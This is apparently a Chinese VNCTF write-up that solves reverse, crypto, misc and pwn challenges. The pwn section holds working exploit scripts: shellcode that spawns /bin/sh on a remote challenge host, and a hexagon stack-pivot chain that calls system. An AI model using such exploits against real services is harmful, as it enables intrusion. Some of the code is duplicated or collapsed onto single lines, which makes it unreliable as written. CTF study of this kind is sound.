一:Reverse
1、HOOK Fish
思路:
(1)已知hook_fish类中的strr是最终需要匹配的字符串。我们的目标是通过逆向加密流程,找到原始输入,使得经过encrypt和encode后等于strr;所以我们需要解码strr得到encodeText;访问链接下载hook_fish.dex;求解出中间值!
(2)逆向encrypt加密函数得到原始输入
#加密函数
public static String encrypt(String str) {byte[] str1 = str.getBytes();for (int i = 0; i < str1.length; i++) {str1[i] = (byte) (str1[i] + 68);}StringBuilder hexStringBuilder = new StringBuilder();for (byte b : str1) {hexStringBuilder.append(String.format("%02x", Byte.valueOf(b)));}String str2 = hexStringBuilder.toString();char[] str3 = str2.toCharArray();code(str3, 0);for (int i2 = 0; i2 < str3.length; i2++) {if (str3[i2] >= 'a' && str3[i2] <= 'f') {str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4));} else {str3[i2] = (char) (str3[i2] + '7' + (i2 % 10));}}Log.d("encrypt: ", new String(str3));return new String(str3);}private static void code(char[] a, int index) {if (index >= a.length - 1) {return;}a[index] = (char) (a[index] ^ a[index + 1]);a[index + 1] = (char) (a[index] ^ a[index + 1]);a[index] = (char) (a[index] ^ a[index + 1]);code(a, index + 2);}
public static String encrypt(String str) {byte[] str1 = str.getBytes();for (int i = 0; i < str1.length; i++) {str1[i] = (byte) (str1[i] + 68);}StringBuilder hexStringBuilder = new StringBuilder();for (byte b : str1) {hexStringBuilder.append(String.format("%02x", Byte.valueOf(b)));}String str2 = hexStringBuilder.toString();char[] str3 = str2.toCharArray();code(str3, 0);for (int i2 = 0; i2 < str3.length; i2++) {if (str3[i2] >= 'a' && str3[i2] <= 'f') {str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4));} else {str3[i2] = (char) (str3[i2] + '7' + (i2 % 10));}}Log.d("encrypt: ", new String(str3));return new String(str3);}private static void code(char[] a, int index) {if (index >= a.length - 1) {return;}a[index] = (char) (a[index] ^ a[index + 1]);a[index + 1] = (char) (a[index] ^ a[index + 1]);a[index] = (char) (a[index] ^ a[index + 1]);code(a, index + 2);}
public static String encrypt(String str) {byte[] str1 = str.getBytes();for (int i = 0; i < str1.length; i++) {str1[i] = (byte) (str1[i] + 68);}StringBuilder hexStringBuilder = new StringBuilder();for (byte b : str1) {hexStringBuilder.append(String.format("%02x", Byte.valueOf(b)));}String str2 = hexStringBuilder.toString();char[] str3 = str2.toCharArray();code(str3, 0);for (int i2 = 0; i2 < str3.length; i2++) {if (str3[i2] >= 'a' && str3[i2] <= 'f') {str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4));} else {str3[i2] = (char) (str3[i2] + '7' + (i2 % 10));}}Log.d("encrypt: ", new String(str3));return new String(str3);}private static void code(char[] a, int index) {if (index >= a.length - 1) {return;}a[index] = (char) (a[index] ^ a[index + 1]);a[index + 1] = (char) (a[index] ^ a[index + 1]);a[index] = (char) (a[index] ^ a[index + 1]);code(a, index + 2);}
使用deepseek梭哈给出exp即可
fish_dcode = {"iiijj": 'a', "jjjii": 'b', "jijij": 'c', "jjijj": 'd', "jjjjj": 'e',"ijjjj": 'f', "jjjji": 'g', "iijii": 'h', "ijiji": 'i', "iiiji": 'j',"jjjij": 'k', "jijji": 'l', "ijiij": 'm', "iijji": 'n', "ijjij": 'o',"jiiji": 'p', "ijijj": 'q', "jijii": 'r', "iiiii": 's', "jjiij": 't',"ijjji": 'u', "jiiij": 'v', "iiiij": 'w', "iijij": 'x', "jjiji": 'y',"jijjj": 'z', "iijjl": '1', "iiilj": '2', "iliii": '3', "jiili": '4',"jilji": '5', "iliji": '6', "jjjlj": '7', "ijljj": '8', "iljji": '9',"jjjli": '0'
}
strr = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"
# 分割为每5个字符
groups = [strr[i:i+5] for i in range(0, len(strr), 5)]
encodeText = ''.join([fish_dcode[group] for group in groups])
print(encodeText)
def reverse_encrypt(encoded_str):n = len(encoded_str)reversed_chars = []for i in range(n):c = encoded_str[i]original_case1 = ord(c) - (i % 4) + ord('1')if 97 <= original_case1 <= 102:reversed_chars.append(chr(original_case1))continueoriginal_case2 = ord(c) - ord('7') - (i % 10)if 48 <= original_case2 <= 57:reversed_chars.append(chr(original_case2))continueraise ValueError(f"Cannot reverse character {c} at position {i}")arr = list(reversed_chars)code(arr, 0)hex_str = ''.join(arr)bytes_list = bytes.fromhex(hex_str)original_bytes = [ (b - 68) % 256 for b in bytes_list ]original_str = bytes(original_bytes).decode('utf-8', errors='replace')return original_str
def code(arr, index):if index >= len(arr) -1:returnarr[index], arr[index+1] = arr[index+1], arr[index]code(arr, index + 2)
encodeText = "0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5"
original_input = reverse_encrypt(encodeText)
print("Flag:", original_input)
#Flag: VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}
2、Fuko’s starfish
思路:AES加密;密钥异或;去除花指令;找到密文和密钥
(1)直接调试
f12追踪发现可以函数snake函数
unk_7FFEFOA025F0中有加密函数;存在花指令;去除继续跟进
找到密文
提取出来
unsigned char ida_chars[] =
{61, 1, 28, 25, 11, 160, 144, 129, 95, 103, 39, 49, 168, 154, 164, 116, 151, 54, 33, 103, 171, 46, 180, 160, 148, 24, 211, 125, 147, 230, 70, 231, 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22
};
跟进sub_7FFD56721650;发现了密钥;在进行异或操作;还原密钥
提取出密钥后发现正常情况下需要将密钥异或0x17,最终发现为128位,猜测是AES,0x09e5fdeb683175b6b13b840891eb78d2;观察后续程序流,ai说是AES-ECB模式;然后直接使用Al提取密文数组在线使用cyber解密即可
3D011C190BA090815F672731A89AA47497362167AB2EB4A09418D37D93E646E7637C777BF26B6FC53001672BFED7AB76CA82C97DFA5947F0ADD4A2AF9CA472C0B7FD9326363FF7CC34A5E5F171D8311504C723C31896059A071280E2EB27B27509832C1A1B6E5AA0523BD6B329E32F8453D100ED20FCB15B6ACBBE394A4C58CFD0EFAAFB434D338545F9027F503C9FA851A3408F929D38F5BCB6DA2110FFF3D2CD0C13EC5F974417C4A77E3D645D197360814FDC222A908846EEB814DE5E0BDBE0323A0A4906245CC2D3AC629195E479E7C8376D8DD54EA96C56F4EA657AAE08BA78252E1CA6B4C6E8DD741F4BBD8B8A703EB5664803F60E613557B986C11D9EE1F8981169D98E949B1E87E9CE5528DF8CA1890DBFE6426841992D0FB054BB16
二:Misc
1、VN_lang
思路:IDA shift+f12直接得到flag
三:Crypto
1、sagemath
思路:从给定的三次多项式中恢复三个素数,然后求解模这些素数的平方根,并通过中国剩余定理组合得到可能的解
from sympy import symbols, solve, isprime
from sympy.ntheory.modular import crt
from itertools import producta = 15264966144147258587171776703005926730518438603688487721465
b = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923
c_val = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619x = symbols('x')
poly = x**3 - a*x**2 + b*x - c_val
roots = solve(poly, x)def is_valid_prime(n):return isprime(n) and (n + 1) % 4 == 0prime_roots = [int(root) for root in roots if is_valid_prime(int(root))]
if len(prime_roots) != 3:raise ValueError("Could not find exactly three valid prime roots")p, q, r = prime_roots
ciphertext = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944def mod_sqrt(a, p):if p % 4 == 3:return pow(a, (p + 1) // 4, p)raise ValueError("Modular square root not supported for this prime")m_p = mod_sqrt(ciphertext % p, p)
m_q = mod_sqrt(ciphertext % q, q)
m_r = mod_sqrt(ciphertext % r, r)possible_flags = []
for signs in product([1, -1], repeat=3):mp = (signs[0] * m_p) % pmq = (signs[1] * m_q) % qmr = (signs[2] * m_r) % rflag = crt([p, q, r], [mp, mq, mr])[0]possible_flags.append(flag)for flag in possible_flags:if pow(flag, 2, p * q * r) == ciphertext:flag_bytes = int(flag).to_bytes((flag.bit_length() + 7) // 8, byteorder='big')print("Possible flag:", flag_bytes.decode('utf-8', errors='replace'))print("Done.")
#VNCTF{90dcfb2dfb21a21e0c8715cbf3643f4a47d3e2e4b3f7b7975954e6d9701d9648}
2、ss0Hurt!
chat梭哈!赛后得好好了解一下了!
from Crypto.Util.number import long_to_bytes# Given values (replace with actual values from the problem)
n = 106743081253087007974132382690669187409167641660258665859915640694456867788135702053312073228376307091325146727550371538313884850638568106223326195447798997814912891375244381751926653858549419946547894675646011818800255999071070352934719005006228971056393128007601573916373180007524930454138943896336817929823
result = (17199707718762989481733793569240992776243099972784327196212023936622130204798694753865087501654381623876011128783229020278210160383185417670794284015692458326761011808048967854332413536183785458993128524881447529380387804712214305034841856237045463243243451585619997751904403447841431924053651568039257094910, 62503976674384744837417986781499538335164333679603320998241675970253762411134672614307594505442798271581593168080110727738181755339828909879977419645331630791420448736959554172731899301884779691119177400457640826361914359964889995618273843955820050051136401731342998940859792560938931787155426766034754760036, 93840121740656543170616546027906623588891573113673113077637257131079221429328035796416874995388795184080636312185908173422461254266536066991205933270191964776577196573147847000446118311985331680378772920169894541350064423243733498672684875039906829095473677927238488927923581806647297338935716890606987700071) # the hash result (X, Y, Z)
def recover_m(n, result):X, Y, Z = resultA, B, C = 2025, 208, 209# Step 1: Compute k = 5^m mod n using Z componentinv_C = pow(C, -1, n)k = (Z * inv_C) % n# Step 2: Compute numerator and denominator for mnumerator = (5 * k * B - 5 * Y) % ndenominator = (k * C) % n# Step 3: Compute inverse of denominatorinv_denominator = pow(denominator, -1, n)# Step 4: Calculate mm = (numerator * inv_denominator) % nreturn m
# Recover m
m = recover_m(n, result)# Convert m to bytes
flag = long_to_bytes(m)# Try printing as a UTF-8 string
try:print(flag.decode('utf-8')) # 尝试以UTF-8解码为字符串
except UnicodeDecodeError:# 如果解码失败,可以显示十六进制print(flag.hex()) # 显示为十六进制
# 给定的十六进制字符串
hex_string = "d64e4354467b575768795f646961676f6e616c697a6174696f6e5f31735f73305f62725252527252727252727272527252527252527272725272527252755575555555545454747465333333333f3f3f3f3f6f756368216f75636821546833745f69735f53305f4372617a79212121217d"
# 将十六进制字符串转换为字节
byte_data = bytes.fromhex(hex_string)
# 将字节数据转换为可见字符(如果有的话)
print(byte_data.decode(errors='ignore')) # 'ignore' 忽略无法解码的字节
四:Pwn
1、签到
思路:IDA分析一下,发现有mprotect函数,执行到这里会有可读可写可执行段,可以执行shellcode
向rwx段写入0x100字节的shellcode
shellcode = asm("""
mov rsi,rdi
mov rdx, 0x100
mov rdi, 0
syscall
""")
rax为59,rdi为/bin/sh地址的值,rsi为0
payload = b'\x90' * 0x18 + asm("""
mov rax, 59
mov rdi, rsi
add rdi, 0x36
mov rsi,0
mov rdx,0
syscall
""")
exp:
from pwn import *
# p = process('./pwn')
p = remote('node.vnteam.cn',44121)
shellcode = asm("""
mov rsi,rdi
mov rdx, 0x100
mov rdi, 0
syscall
""")
p.sendline(shellcode)
payload = b'\x90'*0x18 + asm("""
mov rax, 59
mov rdi, rsi
add rdi, 0x36
mov rsi,0
mov rdx,0
syscall
""")+b'/bin/sh\x00'
p.sendline(payload)
p.interactive()
2、hexagon
思路:
(1)在网上找了一堆参考,这篇文章『2024GeekCTF』stkbof-初识hexagon架构PWN讲了这个32位的抽象架构,如何调试和如何反汇编。
(2首先配置到dll工具
打开后的反汇编。看到Vuln函数动调知道起到了read,然后leave_ret(dealloc_return)的效果。
看到system函数,发现r0起到了传参的作用。朴素的想法就是让r0=ptr(binsh),然后用read下面的system, 根据提示可以多次栈迁移所以把数布置在栈上。
from pwn import *
context.arch='amd64'# libc = ELF('./libc.so')
# p = process(['qemu-hexagon', './main'])
p = remote('node.vnteam.cn', 43291) read_leave_ret = 0x20474
stack = 0x4080f000
libc_base= 0x3FEC0000
system = 0x2048C
# r0 dealloc_return
# r0_gadget = 0x20534
r0_gadget = libc_base + 0x54630
# .text:00054630 { r0 = memw(fp + #var_10) }
# .text:00054634 { dealloc_return }p.sendlineafter('player!\n', b'666')
# pause()
# 多次栈迁移布置栈,把数据放到栈上,让r0指到binsh,然后system
# aaaa
# aaaa
# stack+8
# read_leave_ret
p.send(b'a'*8 + p32(stack+8) + p32(read_leave_ret))p.send(b'a'*8 + p32(stack-0x30+8) + p32(read_leave_ret))p.send(b'/bin/sh\x00' + p32(stack-0x20+0x8) + p32(read_leave_ret))
p.send(b'a'*8 + p32(stack-0x10+0x8) + p32(read_leave_ret))
# 布置好memw(fp + #var_10),最后一次r0直接迁到system上
p.send(b'sh\x00\x00' + p32(system) + p32(stack-0x10) + p32(r0_gadget))p.interactive()
剩下的不会了!!!